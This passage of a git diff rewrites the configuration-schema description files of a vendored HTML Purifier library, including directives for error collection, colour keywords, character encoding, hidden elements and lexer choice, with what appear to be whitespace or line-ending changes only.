    ---# vim: et sw=4 sts=4 +Core.AllowParseManyTags +TYPE: bool +DEFAULT: false +VERSION: 4.10.1 +--DESCRIPTION-- +

    + This directive allows parsing of many nested tags. + If you set true, relaxes any hardcoded limit from the parser. + However, in that case it may cause a Dos attack. + Be careful when enabling it. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt index c6ea06990f..d7317911fa 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt @@ -1,12 +1,12 @@ -Core.CollectErrors -TYPE: bool -VERSION: 2.0.0 -DEFAULT: false ---DESCRIPTION-- - -Whether or not to collect errors found while filtering the document. This -is a useful way to give feedback to your users. Warning: -Currently this feature is very patchy and experimental, with lots of -possible error messages not yet implemented. It will not cause any -problems, but it may not help your users either. ---# vim: et sw=4 sts=4 +Core.CollectErrors +TYPE: bool +VERSION: 2.0.0 +DEFAULT: false +--DESCRIPTION-- + +Whether or not to collect errors found while filtering the document. This +is a useful way to give feedback to your users. Warning: +Currently this feature is very patchy and experimental, with lots of +possible error messages not yet implemented. It will not cause any +problems, but it may not help your users either. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt index fc100868e0..a75844cd58 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt @@ -1,160 +1,160 @@ -Core.ColorKeywords -TYPE: hash -VERSION: 2.0.0 ---DEFAULT-- -array ( - 'aliceblue' => '#F0F8FF', - 'antiquewhite' => '#FAEBD7', - 'aqua' => '#00FFFF', - 'aquamarine' => '#7FFFD4', - 'azure' => '#F0FFFF', - 'beige' => '#F5F5DC', - 'bisque' => '#FFE4C4', - 'black' => '#000000', - 'blanchedalmond' => '#FFEBCD', - 'blue' => '#0000FF', - 'blueviolet' => '#8A2BE2', - 'brown' => '#A52A2A', - 'burlywood' => '#DEB887', - 'cadetblue' => '#5F9EA0', - 'chartreuse' => '#7FFF00', - 'chocolate' => '#D2691E', - 'coral' => '#FF7F50', - 'cornflowerblue' => '#6495ED', - 'cornsilk' => '#FFF8DC', - 'crimson' => '#DC143C', - 'cyan' => '#00FFFF', - 'darkblue' => '#00008B', - 'darkcyan' => '#008B8B', - 'darkgoldenrod' => '#B8860B', - 'darkgray' => '#A9A9A9', - 'darkgrey' => '#A9A9A9', - 'darkgreen' => '#006400', - 'darkkhaki' => '#BDB76B', - 'darkmagenta' => '#8B008B', - 'darkolivegreen' => '#556B2F', - 'darkorange' => '#FF8C00', - 'darkorchid' => '#9932CC', - 'darkred' => '#8B0000', - 'darksalmon' => '#E9967A', - 'darkseagreen' => '#8FBC8F', - 'darkslateblue' => '#483D8B', - 'darkslategray' => '#2F4F4F', - 'darkslategrey' => '#2F4F4F', - 'darkturquoise' => '#00CED1', - 'darkviolet' => '#9400D3', - 'deeppink' => '#FF1493', - 'deepskyblue' => '#00BFFF', - 'dimgray' => '#696969', - 'dimgrey' => '#696969', - 'dodgerblue' => '#1E90FF', - 'firebrick' => '#B22222', - 'floralwhite' => '#FFFAF0', - 'forestgreen' => '#228B22', - 'fuchsia' => '#FF00FF', - 'gainsboro' => '#DCDCDC', - 'ghostwhite' => '#F8F8FF', - 'gold' => '#FFD700', - 'goldenrod' => '#DAA520', - 'gray' => '#808080', - 'grey' => '#808080', - 'green' => '#008000', - 'greenyellow' => '#ADFF2F', - 'honeydew' => '#F0FFF0', - 'hotpink' => '#FF69B4', - 'indianred' => '#CD5C5C', - 'indigo' => '#4B0082', - 'ivory' => '#FFFFF0', - 'khaki' => '#F0E68C', - 'lavender' => '#E6E6FA', - 'lavenderblush' => '#FFF0F5', - 'lawngreen' => '#7CFC00', - 'lemonchiffon' => '#FFFACD', - 'lightblue' => '#ADD8E6', - 'lightcoral' => '#F08080', - 'lightcyan' => '#E0FFFF', - 'lightgoldenrodyellow' => '#FAFAD2', - 'lightgray' => '#D3D3D3', - 'lightgrey' => '#D3D3D3', - 'lightgreen' => '#90EE90', - 'lightpink' => '#FFB6C1', - 'lightsalmon' => '#FFA07A', - 'lightseagreen' => '#20B2AA', - 'lightskyblue' => '#87CEFA', - 'lightslategray' => '#778899', - 'lightslategrey' => '#778899', - 'lightsteelblue' => '#B0C4DE', - 'lightyellow' => '#FFFFE0', - 'lime' => '#00FF00', - 'limegreen' => '#32CD32', - 'linen' => '#FAF0E6', - 'magenta' => '#FF00FF', - 'maroon' => '#800000', - 'mediumaquamarine' => '#66CDAA', - 'mediumblue' => '#0000CD', - 'mediumorchid' => '#BA55D3', - 'mediumpurple' => '#9370DB', - 'mediumseagreen' => '#3CB371', - 'mediumslateblue' => '#7B68EE', - 'mediumspringgreen' => '#00FA9A', - 'mediumturquoise' => '#48D1CC', - 'mediumvioletred' => '#C71585', - 'midnightblue' => '#191970', - 'mintcream' => '#F5FFFA', - 'mistyrose' => '#FFE4E1', - 'moccasin' => '#FFE4B5', - 'navajowhite' => '#FFDEAD', - 'navy' => '#000080', - 'oldlace' => '#FDF5E6', - 'olive' => '#808000', - 'olivedrab' => '#6B8E23', - 'orange' => '#FFA500', - 'orangered' => '#FF4500', - 'orchid' => '#DA70D6', - 'palegoldenrod' => '#EEE8AA', - 'palegreen' => '#98FB98', - 'paleturquoise' => '#AFEEEE', - 'palevioletred' => '#DB7093', - 'papayawhip' => '#FFEFD5', - 'peachpuff' => '#FFDAB9', - 'peru' => '#CD853F', - 'pink' => '#FFC0CB', - 'plum' => '#DDA0DD', - 'powderblue' => '#B0E0E6', - 'purple' => '#800080', - 'rebeccapurple' => '#663399', - 'red' => '#FF0000', - 'rosybrown' => '#BC8F8F', - 'royalblue' => '#4169E1', - 'saddlebrown' => '#8B4513', - 'salmon' => '#FA8072', - 'sandybrown' => '#F4A460', - 'seagreen' => '#2E8B57', - 'seashell' => '#FFF5EE', - 'sienna' => '#A0522D', - 'silver' => '#C0C0C0', - 'skyblue' => '#87CEEB', - 'slateblue' => '#6A5ACD', - 'slategray' => '#708090', - 'slategrey' => '#708090', - 'snow' => '#FFFAFA', - 'springgreen' => '#00FF7F', - 'steelblue' => '#4682B4', - 'tan' => '#D2B48C', - 'teal' => '#008080', - 'thistle' => '#D8BFD8', - 'tomato' => '#FF6347', - 'turquoise' => '#40E0D0', - 'violet' => '#EE82EE', - 'wheat' => '#F5DEB3', - 'white' => '#FFFFFF', - 'whitesmoke' => '#F5F5F5', - 'yellow' => '#FFFF00', - 'yellowgreen' => '#9ACD32' -) ---DESCRIPTION-- - -Lookup array of color names to six digit hexadecimal number corresponding -to color, with preceding hash mark. Used when parsing colors. The lookup -is done in a case-insensitive manner. ---# vim: et sw=4 sts=4 +Core.ColorKeywords +TYPE: hash +VERSION: 2.0.0 +--DEFAULT-- +array ( + 'aliceblue' => '#F0F8FF', + 'antiquewhite' => '#FAEBD7', + 'aqua' => '#00FFFF', + 'aquamarine' => '#7FFFD4', + 'azure' => '#F0FFFF', + 'beige' => '#F5F5DC', + 'bisque' => '#FFE4C4', + 'black' => '#000000', + 'blanchedalmond' => '#FFEBCD', + 'blue' => '#0000FF', + 'blueviolet' => '#8A2BE2', + 'brown' => '#A52A2A', + 'burlywood' => '#DEB887', + 'cadetblue' => '#5F9EA0', + 'chartreuse' => '#7FFF00', + 'chocolate' => '#D2691E', + 'coral' => '#FF7F50', + 'cornflowerblue' => '#6495ED', + 'cornsilk' => '#FFF8DC', + 'crimson' => '#DC143C', + 'cyan' => '#00FFFF', + 'darkblue' => '#00008B', + 'darkcyan' => '#008B8B', + 'darkgoldenrod' => '#B8860B', + 'darkgray' => '#A9A9A9', + 'darkgrey' => '#A9A9A9', + 'darkgreen' => '#006400', + 'darkkhaki' => '#BDB76B', + 'darkmagenta' => '#8B008B', + 'darkolivegreen' => '#556B2F', + 'darkorange' => '#FF8C00', + 'darkorchid' => '#9932CC', + 'darkred' => '#8B0000', + 'darksalmon' => '#E9967A', + 'darkseagreen' => '#8FBC8F', + 'darkslateblue' => '#483D8B', + 'darkslategray' => '#2F4F4F', + 'darkslategrey' => '#2F4F4F', + 'darkturquoise' => '#00CED1', + 'darkviolet' => '#9400D3', + 'deeppink' => '#FF1493', + 'deepskyblue' => '#00BFFF', + 'dimgray' => '#696969', + 'dimgrey' => '#696969', + 'dodgerblue' => '#1E90FF', + 'firebrick' => '#B22222', + 'floralwhite' => '#FFFAF0', + 'forestgreen' => '#228B22', + 'fuchsia' => '#FF00FF', + 'gainsboro' => '#DCDCDC', + 'ghostwhite' => '#F8F8FF', + 'gold' => '#FFD700', + 'goldenrod' => '#DAA520', + 'gray' => '#808080', + 'grey' => '#808080', + 'green' => '#008000', + 'greenyellow' => '#ADFF2F', + 'honeydew' => '#F0FFF0', + 'hotpink' => '#FF69B4', + 'indianred' => '#CD5C5C', + 'indigo' => '#4B0082', + 'ivory' => '#FFFFF0', + 'khaki' => '#F0E68C', + 'lavender' => '#E6E6FA', + 'lavenderblush' => '#FFF0F5', + 'lawngreen' => '#7CFC00', + 'lemonchiffon' => '#FFFACD', + 'lightblue' => '#ADD8E6', + 'lightcoral' => '#F08080', + 'lightcyan' => '#E0FFFF', + 'lightgoldenrodyellow' => '#FAFAD2', + 'lightgray' => '#D3D3D3', + 'lightgrey' => '#D3D3D3', + 'lightgreen' => '#90EE90', + 'lightpink' => '#FFB6C1', + 'lightsalmon' => '#FFA07A', + 'lightseagreen' => '#20B2AA', + 'lightskyblue' => '#87CEFA', + 'lightslategray' => '#778899', + 'lightslategrey' => '#778899', + 'lightsteelblue' => '#B0C4DE', + 'lightyellow' => '#FFFFE0', + 'lime' => '#00FF00', + 'limegreen' => '#32CD32', + 'linen' => '#FAF0E6', + 'magenta' => '#FF00FF', + 'maroon' => '#800000', + 'mediumaquamarine' => '#66CDAA', + 'mediumblue' => '#0000CD', + 'mediumorchid' => '#BA55D3', + 'mediumpurple' => '#9370DB', + 'mediumseagreen' => '#3CB371', + 'mediumslateblue' => '#7B68EE', + 'mediumspringgreen' => '#00FA9A', + 'mediumturquoise' => '#48D1CC', + 'mediumvioletred' => '#C71585', + 'midnightblue' => '#191970', + 'mintcream' => '#F5FFFA', + 'mistyrose' => '#FFE4E1', + 'moccasin' => '#FFE4B5', + 'navajowhite' => '#FFDEAD', + 'navy' => '#000080', + 'oldlace' => '#FDF5E6', + 'olive' => '#808000', + 'olivedrab' => '#6B8E23', + 'orange' => '#FFA500', + 'orangered' => '#FF4500', + 'orchid' => '#DA70D6', + 'palegoldenrod' => '#EEE8AA', + 'palegreen' => '#98FB98', + 'paleturquoise' => '#AFEEEE', + 'palevioletred' => '#DB7093', + 'papayawhip' => '#FFEFD5', + 'peachpuff' => '#FFDAB9', + 'peru' => '#CD853F', + 'pink' => '#FFC0CB', + 'plum' => '#DDA0DD', + 'powderblue' => '#B0E0E6', + 'purple' => '#800080', + 'rebeccapurple' => '#663399', + 'red' => '#FF0000', + 'rosybrown' => '#BC8F8F', + 'royalblue' => '#4169E1', + 'saddlebrown' => '#8B4513', + 'salmon' => '#FA8072', + 'sandybrown' => '#F4A460', + 'seagreen' => '#2E8B57', + 'seashell' => '#FFF5EE', + 'sienna' => '#A0522D', + 'silver' => '#C0C0C0', + 'skyblue' => '#87CEEB', + 'slateblue' => '#6A5ACD', + 'slategray' => '#708090', + 'slategrey' => '#708090', + 'snow' => '#FFFAFA', + 'springgreen' => '#00FF7F', + 'steelblue' => '#4682B4', + 'tan' => '#D2B48C', + 'teal' => '#008080', + 'thistle' => '#D8BFD8', + 'tomato' => '#FF6347', + 'turquoise' => '#40E0D0', + 'violet' => '#EE82EE', + 'wheat' => '#F5DEB3', + 'white' => '#FFFFFF', + 'whitesmoke' => '#F5F5F5', + 'yellow' => '#FFFF00', + 'yellowgreen' => '#9ACD32' +) +--DESCRIPTION-- + +Lookup array of color names to six digit hexadecimal number corresponding +to color, with preceding hash mark. Used when parsing colors. The lookup +is done in a case-insensitive manner. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt index 656d3783a8..64b114fce2 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt @@ -1,14 +1,14 @@ -Core.ConvertDocumentToFragment -TYPE: bool -DEFAULT: true ---DESCRIPTION-- - -This parameter determines whether or not the filter should convert -input that is a full document with html and body tags to a fragment -of just the contents of a body tag. This parameter is simply something -HTML Purifier can do during an edge-case: for most inputs, this -processing is not necessary. - ---ALIASES-- -Core.AcceptFullDocuments ---# vim: et sw=4 sts=4 +Core.ConvertDocumentToFragment +TYPE: bool +DEFAULT: true +--DESCRIPTION-- + +This parameter determines whether or not the filter should convert +input that is a full document with html and body tags to a fragment +of just the contents of a body tag. This parameter is simply something +HTML Purifier can do during an edge-case: for most inputs, this +processing is not necessary. + +--ALIASES-- +Core.AcceptFullDocuments +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt index 2f54e462a1..36f16e07ea 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt @@ -1,17 +1,17 @@ -Core.DirectLexLineNumberSyncInterval -TYPE: int -VERSION: 2.0.0 -DEFAULT: 0 ---DESCRIPTION-- - -

    - Specifies the number of tokens the DirectLex line number tracking - implementations should process before attempting to resyncronize the - current line count by manually counting all previous new-lines. When - at 0, this functionality is disabled. Lower values will decrease - performance, and this is only strictly necessary if the counting - algorithm is buggy (in which case you should report it as a bug). - This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is - not being used. -

    ---# vim: et sw=4 sts=4 +Core.DirectLexLineNumberSyncInterval +TYPE: int +VERSION: 2.0.0 +DEFAULT: 0 +--DESCRIPTION-- + +

    + Specifies the number of tokens the DirectLex line number tracking + implementations should process before attempting to resyncronize the + current line count by manually counting all previous new-lines. When + at 0, this functionality is disabled. Lower values will decrease + performance, and this is only strictly necessary if the counting + algorithm is buggy (in which case you should report it as a bug). + This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is + not being used. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt index 3c63c923c8..1cd4c2c964 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt @@ -1,14 +1,14 @@ -Core.DisableExcludes -TYPE: bool -DEFAULT: false -VERSION: 4.5.0 ---DESCRIPTION-- -

    - This directive disables SGML-style exclusions, e.g. the exclusion of - <object> in any descendant of a - <pre> tag. Disabling excludes will allow some - invalid documents to pass through HTML Purifier, but HTML Purifier - will also be less likely to accidentally remove large documents during - processing. -

    ---# vim: et sw=4 sts=4 +Core.DisableExcludes +TYPE: bool +DEFAULT: false +VERSION: 4.5.0 +--DESCRIPTION-- +

    + This directive disables SGML-style exclusions, e.g. the exclusion of + <object> in any descendant of a + <pre> tag. Disabling excludes will allow some + invalid documents to pass through HTML Purifier, but HTML Purifier + will also be less likely to accidentally remove large documents during + processing. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt index 7f498e7e7a..ce243c35dc 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt @@ -1,9 +1,9 @@ -Core.EnableIDNA -TYPE: bool -DEFAULT: false -VERSION: 4.4.0 ---DESCRIPTION-- -Allows international domain names in URLs. This configuration option -requires the PEAR Net_IDNA2 module to be installed. It operates by -punycoding any internationalized host names for maximum portability. ---# vim: et sw=4 sts=4 +Core.EnableIDNA +TYPE: bool +DEFAULT: false +VERSION: 4.4.0 +--DESCRIPTION-- +Allows international domain names in URLs. This configuration option +requires the PEAR Net_IDNA2 module to be installed. It operates by +punycoding any internationalized host names for maximum portability. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt index 89e2ae34b1..8bfb47c3ac 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt @@ -1,15 +1,15 @@ -Core.Encoding -TYPE: istring -DEFAULT: 'utf-8' ---DESCRIPTION-- -If for some reason you are unable to convert all webpages to UTF-8, you can -use this directive as a stop-gap compatibility change to let HTML Purifier -deal with non UTF-8 input. This technique has notable deficiencies: -absolutely no characters outside of the selected character encoding will be -preserved, not even the ones that have been ampersand escaped (this is due -to a UTF-8 specific feature that automatically resolves all -entities), making it pretty useless for anything except the most I18N-blind -applications, although %Core.EscapeNonASCIICharacters offers fixes this -trouble with another tradeoff. This directive only accepts ISO-8859-1 if -iconv is not enabled. ---# vim: et sw=4 sts=4 +Core.Encoding +TYPE: istring +DEFAULT: 'utf-8' +--DESCRIPTION-- +If for some reason you are unable to convert all webpages to UTF-8, you can +use this directive as a stop-gap compatibility change to let HTML Purifier +deal with non UTF-8 input. This technique has notable deficiencies: +absolutely no characters outside of the selected character encoding will be +preserved, not even the ones that have been ampersand escaped (this is due +to a UTF-8 specific feature that automatically resolves all +entities), making it pretty useless for anything except the most I18N-blind +applications, although %Core.EscapeNonASCIICharacters offers fixes this +trouble with another tradeoff. This directive only accepts ISO-8859-1 if +iconv is not enabled. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt index 1cc3fcda2f..a3881be75c 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt @@ -1,12 +1,12 @@ -Core.EscapeInvalidChildren -TYPE: bool -DEFAULT: false ---DESCRIPTION-- -

    Warning: this configuration option is no longer does anything as of 4.6.0.

    - -

    When true, a child is found that is not allowed in the context of the -parent element will be transformed into text as if it were ASCII. When -false, that element and all internal tags will be dropped, though text will -be preserved. There is no option for dropping the element but preserving -child nodes.

    ---# vim: et sw=4 sts=4 +Core.EscapeInvalidChildren +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +

    Warning: this configuration option is no longer does anything as of 4.6.0.

    + +

    When true, a child is found that is not allowed in the context of the +parent element will be transformed into text as if it were ASCII. When +false, that element and all internal tags will be dropped, though text will +be preserved. There is no option for dropping the element but preserving +child nodes.

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt index 299775fab2..a7a5b249bb 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt @@ -1,7 +1,7 @@ -Core.EscapeInvalidTags -TYPE: bool -DEFAULT: false ---DESCRIPTION-- -When true, invalid tags will be written back to the document as plain text. -Otherwise, they are silently dropped. ---# vim: et sw=4 sts=4 +Core.EscapeInvalidTags +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When true, invalid tags will be written back to the document as plain text. +Otherwise, they are silently dropped. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt index f50db2f92a..abb499948a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt @@ -1,13 +1,13 @@ -Core.EscapeNonASCIICharacters -TYPE: bool -VERSION: 1.4.0 -DEFAULT: false ---DESCRIPTION-- -This directive overcomes a deficiency in %Core.Encoding by blindly -converting all non-ASCII characters into decimal numeric entities before -converting it to its native encoding. This means that even characters that -can be expressed in the non-UTF-8 encoding will be entity-ized, which can -be a real downer for encodings like Big5. It also assumes that the ASCII -repetoire is available, although this is the case for almost all encodings. -Anyway, use UTF-8! ---# vim: et sw=4 sts=4 +Core.EscapeNonASCIICharacters +TYPE: bool +VERSION: 1.4.0 +DEFAULT: false +--DESCRIPTION-- +This directive overcomes a deficiency in %Core.Encoding by blindly +converting all non-ASCII characters into decimal numeric entities before +converting it to its native encoding. This means that even characters that +can be expressed in the non-UTF-8 encoding will be entity-ized, which can +be a real downer for encodings like Big5. It also assumes that the ASCII +repetoire is available, although this is the case for almost all encodings. +Anyway, use UTF-8! +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt index c337e47fca..915391edb7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt @@ -1,19 +1,19 @@ -Core.HiddenElements -TYPE: lookup ---DEFAULT-- -array ( - 'script' => true, - 'style' => true, -) ---DESCRIPTION-- - -

    - This directive is a lookup array of elements which should have their - contents removed when they are not allowed by the HTML definition. - For example, the contents of a script tag are not - normally shown in a document, so if script tags are to be removed, - their contents should be removed to. This is opposed to a b - tag, which defines some presentational changes but does not hide its - contents. -

    ---# vim: et sw=4 sts=4 +Core.HiddenElements +TYPE: lookup +--DEFAULT-- +array ( + 'script' => true, + 'style' => true, +) +--DESCRIPTION-- + +

    + This directive is a lookup array of elements which should have their + contents removed when they are not allowed by the HTML definition. + For example, the contents of a script tag are not + normally shown in a document, so if script tags are to be removed, + their contents should be removed to. This is opposed to a b + tag, which defines some presentational changes but does not hide its + contents. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt index ed1f39b5f8..233fca14f8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt @@ -1,10 +1,10 @@ -Core.Language -TYPE: string -VERSION: 2.0.0 -DEFAULT: 'en' ---DESCRIPTION-- - -ISO 639 language code for localizable things in HTML Purifier to use, -which is mainly error reporting. There is currently only an English (en) -translation, so this directive is currently useless. ---# vim: et sw=4 sts=4 +Core.Language +TYPE: string +VERSION: 2.0.0 +DEFAULT: 'en' +--DESCRIPTION-- + +ISO 639 language code for localizable things in HTML Purifier to use, +which is mainly error reporting. There is currently only an English (en) +translation, so this directive is currently useless. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txt index 81d9ae4dcf..392b436493 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txt @@ -1,36 +1,36 @@ -Core.LegacyEntityDecoder -TYPE: bool -VERSION: 4.9.0 -DEFAULT: false ---DESCRIPTION-- -

    - Prior to HTML Purifier 4.9.0, entities were decoded by performing - a global search replace for all entities whose decoded versions - did not have special meanings under HTML, and replaced them with - their decoded versions. We would match all entities, even if they did - not have a trailing semicolon, but only if there weren't any trailing - alphanumeric characters. -

    - - - - - - -
    OriginalTextAttribute
    &yen;¥¥
    &yen¥¥
    &yena&yena&yena
    &yen=¥=¥=
    -

    - In HTML Purifier 4.9.0, we changed the behavior of entity parsing - to match entities that had missing trailing semicolons in less - cases, to more closely match HTML5 parsing behavior: -

    - - - - - - -
    OriginalTextAttribute
    &yen;¥¥
    &yen¥¥
    &yena¥a&yena
    &yen=¥=&yen=
    -

    - This flag reverts back to pre-HTML Purifier 4.9.0 behavior. -

    ---# vim: et sw=4 sts=4 +Core.LegacyEntityDecoder +TYPE: bool +VERSION: 4.9.0 +DEFAULT: false +--DESCRIPTION-- +

    + Prior to HTML Purifier 4.9.0, entities were decoded by performing + a global search replace for all entities whose decoded versions + did not have special meanings under HTML, and replaced them with + their decoded versions. We would match all entities, even if they did + not have a trailing semicolon, but only if there weren't any trailing + alphanumeric characters. +

    + + + + + + +
    OriginalTextAttribute
    &yen;¥¥
    &yen¥¥
    &yena&yena&yena
    &yen=¥=¥=
    +

    + In HTML Purifier 4.9.0, we changed the behavior of entity parsing + to match entities that had missing trailing semicolons in less + cases, to more closely match HTML5 parsing behavior: +

    + + + + + + +
    OriginalTextAttribute
    &yen;¥¥
    &yen¥¥
    &yena¥a&yena
    &yen=¥=&yen=
    +

    + This flag reverts back to pre-HTML Purifier 4.9.0 behavior. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt index e11c0152c2..8983e2cca9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt @@ -1,34 +1,34 @@ -Core.LexerImpl -TYPE: mixed/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - This parameter determines what lexer implementation can be used. The - valid values are: -

    -
    -
    null
    -
    - Recommended, the lexer implementation will be auto-detected based on - your PHP-version and configuration. -
    -
    string lexer identifier
    -
    - This is a slim way of manually overridding the implementation. - Currently recognized values are: DOMLex (the default PHP5 -implementation) - and DirectLex (the default PHP4 implementation). Only use this if - you know what you are doing: usually, the auto-detection will - manage things for cases you aren't even aware of. -
    -
    object lexer instance
    -
    - Super-advanced: you can specify your own, custom, implementation that - implements the interface defined by HTMLPurifier_Lexer. - I may remove this option simply because I don't expect anyone - to use it. -
    -
    ---# vim: et sw=4 sts=4 +Core.LexerImpl +TYPE: mixed/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + This parameter determines what lexer implementation can be used. The + valid values are: +

    +
    +
    null
    +
    + Recommended, the lexer implementation will be auto-detected based on + your PHP-version and configuration. +
    +
    string lexer identifier
    +
    + This is a slim way of manually overridding the implementation. + Currently recognized values are: DOMLex (the default PHP5 +implementation) + and DirectLex (the default PHP4 implementation). Only use this if + you know what you are doing: usually, the auto-detection will + manage things for cases you aren't even aware of. +
    +
    object lexer instance
    +
    + Super-advanced: you can specify your own, custom, implementation that + implements the interface defined by HTMLPurifier_Lexer. + I may remove this option simply because I don't expect anyone + to use it. +
    +
